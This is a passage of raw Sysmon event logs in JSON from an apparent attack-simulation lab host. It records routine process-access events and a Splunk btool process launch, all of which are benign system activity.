11:52:24.070","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2953,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:24.070\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:24.070","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2954,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:24.070\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:24.070","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2955,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:24.070\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:24.070","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2956,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:24.070\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:24.070","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2957,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:24.070\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:24.070","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2958,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:24.070\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-00105DC70200}\r\nSourceProcessId: 3756\r\nSourceThreadId: 3776\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-4078-5F2D-0000-0010F6F60400}\r\nTargetProcessId: 4664\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:24.070","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-00105DC70200}","SourceProcessId":"3756","SourceThreadId":"3776","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-4078-5F2D-0000-0010F6F60400}","TargetProcessId":"4664","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":2959,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:24.088\r\nProcessGuid: {90617006-4078-5F2D-0000-0010BFF70400}\r\nProcessId: 4564\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nFileVersion: 8.0.2\r\nDescription: btool\r\nProduct: splunk Application\r\nCompany: Splunk Inc.\r\nOriginalFileName: btool.exe\r\nCommandLine: btool web list settings --no-log\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=BC53EBF68CFA6E8A254D89ABEC89A65D,SHA256=97024B4A7182D9C253B1AC4E56A1C8F3BC8808B79E6D022EF27B95003622F0A4,IMPHASH=572E0CF4672412FA940B0E1835926B3B\r\nParentProcessGuid: {90617006-4078-5F2D-0000-0010F6F60400}\r\nParentProcessId: 4664\r\nParentImage: C:\\Windows\\System32\\cmd.exe\r\nParentCommandLine: C:\\Windows\\system32\\cmd.exe /c btool web list settings --no-log","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:52:24.088","ProcessGuid":"{90617006-4078-5F2D-0000-0010BFF70400}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","FileVersion":"8.0.2","Description":"btool","Product":"splunk Application","Company":"Splunk Inc.","OriginalFileName":"btool.exe","CommandLine":"btool web list settings --no-log","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=BC53EBF68CFA6E8A254D89ABEC89A65D,SHA256=97024B4A7182D9C253B1AC4E56A1C8F3BC8808B79E6D022EF27B95003622F0A4,IMPHASH=572E0CF4672412FA940B0E1835926B3B","ParentProcessGuid":"{90617006-4078-5F2D-0000-0010F6F60400}","ParentProcessId":"4664","ParentImage":"C:\\Windows\\System32\\cmd.exe","ParentCommandLine":"C:\\Windows\\system32\\cmd.exe /c btool web list settings --no-log","EventReceivedTime":"2020-08-07 11:52:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2960,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:24.086\r\nSourceProcessGUID: {90617006-4078-5F2D-0000-0010F6F60400}\r\nSourceProcessId: 4664\r\nSourceThreadId: 4676\r\nSourceImage: C:\\Windows\\system32\\cmd.exe\r\nTargetProcessGUID: {90617006-4078-5F2D-0000-0010BFF70400}\r\nTargetProcessId: 4564\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\system32\\cmd.exe+f1e1|C:\\Windows\\system32\\cmd.exe+11a37|C:\\Windows\\system32\\cmd.exe+cb0d|C:\\Windows\\system32\\cmd.exe+c295|C:\\Windows\\system32\\cmd.exe+f916|C:\\Windows\\system32\\cmd.exe+1510d|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:24.086","SourceProcessGUID":"{90617006-4078-5F2D-0000-0010F6F60400}","SourceProcessId":"4664","SourceThreadId":"4676","SourceImage":"C:\\Windows\\system32\\cmd.exe","TargetProcessGUID":"{90617006-4078-5F2D-0000-0010BFF70400}","TargetProcessId":"4564","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\system32\\cmd.exe+f1e1|C:\\Windows\\system32\\cmd.exe+11a37|C:\\Windows\\system32\\cmd.exe+cb0d|C:\\Windows\\system32\\cmd.exe+c295|C:\\Windows\\system32\\cmd.exe+f916|C:\\Windows\\system32\\cmd.exe+1510d|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2961,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:24.086\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4078-5F2D-0000-0010BFF70400}\r\nTargetProcessId: 4564\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 